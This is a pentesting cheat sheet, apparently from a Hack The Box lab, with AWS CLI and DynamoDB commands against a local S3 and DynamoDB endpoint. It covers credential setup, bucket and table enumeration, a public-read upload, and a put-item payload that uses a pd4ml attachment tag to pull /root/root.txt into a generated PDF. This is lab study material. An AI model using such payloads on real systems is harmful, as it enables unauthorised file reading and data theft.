# AWS

<details>

<summary><mark style="color:orange;"><strong><code>aws-cli</code></strong></mark></summary>

{% hint style="info" %}
<mark style="color:red;">**`Set it up remotely`**</mark>

{% code title="Set the ID" overflow="wrap" %}
```sh
aws configure set aws_access_key_id health
```
{% endcode %}

{% code title="Set the key" overflow="wrap" %}
```sh
aws configure set aws_secret_access_key 444af250749d
```
{% endcode %}
{% endhint %}

{% hint style="info" %}
<mark style="color:purple;">**`Enumeration`**</mark>

{% code title="List the buckets romotetly" overflow="wrap" %}
```sh
aws s3 ls --endpoint-url http://s3.bucket.htb/
```
{% endcode %}

{% code title="List buckets locally" overflow="wrap" %}
```sh
aws s3 ls s3://BUCKET_Name/
```
{% endcode %}

{% code title="List the bucket's content" overflow="wrap" %}
```sh
aws s3 ls s3://adserver --endpoint-url http://s3.bucket.htb/
```
{% endcode %}
{% endhint %}

{% hint style="info" %}
{% code title="Upload a file" overflow="wrap" %}
```sh
aws s3 cp FILE_NAME s3://BUCKET_NAME/
```
{% endcode %}

{% code title="Upload it and make it public" overflow="wrap" %}
```sh
aws s3 cp tokyo s3://adserver/ --endpoint-url http://s3.bucket.htb --acl public-read
```
{% endcode %}
{% endhint %}

{% code title="Remove a file" overflow="wrap" %}
```sh
aws s3 rm s3://Bucket_Name/FILE_NAME
```
{% endcode %}

</details>

<details>

<summary><mark style="color:orange;"><strong><code>Dynamodb</code></strong></mark></summary>

{% hint style="info" %}
<mark style="color:purple;">**Set the**</mark> <mark style="color:orange;">**`Dynamodb`**</mark> <mark style="color:purple;">**instance**</mark>

{% code title="Set the ID" overflow="wrap" %}
```sh
export AWS_ACCESS_KEY_ID=health
```
{% endcode %}

{% code title="Set the key" overflow="wrap" %}
```sh
export AWS_SECRET_ACCESS_KEY=444af250749d
```
{% endcode %}

{% code title="Set the region" overflow="wrap" %}
```sh
export AWS_DEFAULT_REGION=us-east-1
```
{% endcode %}

{% code title="Set the endpoint" overflow="wrap" %}
```sh
export AWS_ENDPOINT_URL=http://localhost:4566
```
{% endcode %}
{% endhint %}

{% hint style="info" %}
<mark style="color:purple;">**`Enumeration`**</mark>

{% code title="List the tables" overflow="wrap" %}
```sh
aws dynamodb list-tables --endpoint-url http://localhost:4566
```
{% endcode %}

{% code title="List the users" overflow="wrap" %}
```sh
aws dynamodb scan --table-name users --endpoint-url http://localhost:4566
```
{% endcode %}
{% endhint %}

{% hint style="info" %}
{% code title="Create a table" overflow="wrap" %}
```sh
aws --endpoint-url http://s3.bucket.htb dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5
```
{% endcode %}
{% endhint %}

{% hint style="info" %}
<mark style="color:purple;">**Create an**</mark> [<mark style="color:red;">**`item`**</mark>](#user-content-fn-1)[^1]

{% code overflow="wrap" %}
```sh
aws --endpoint-url http://s3.bucket.htb dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><pd4ml:attachment src=\"/root/root.txt\" description=\"attachment sample\" icon=\"Paperclip\"/></html>"}}'
```
{% endcode %}
{% endhint %}

</details>

[^1]: [<mark style="color:orange;">**`In this example in order to create a malicious PDF we need to meet a condition, that is triggering an alert on a DynamoDB, when that alert is triggered a PDF and HTML files will be generated by a PHP web-server`**</mark>](#user-content-fn-2)[^2]
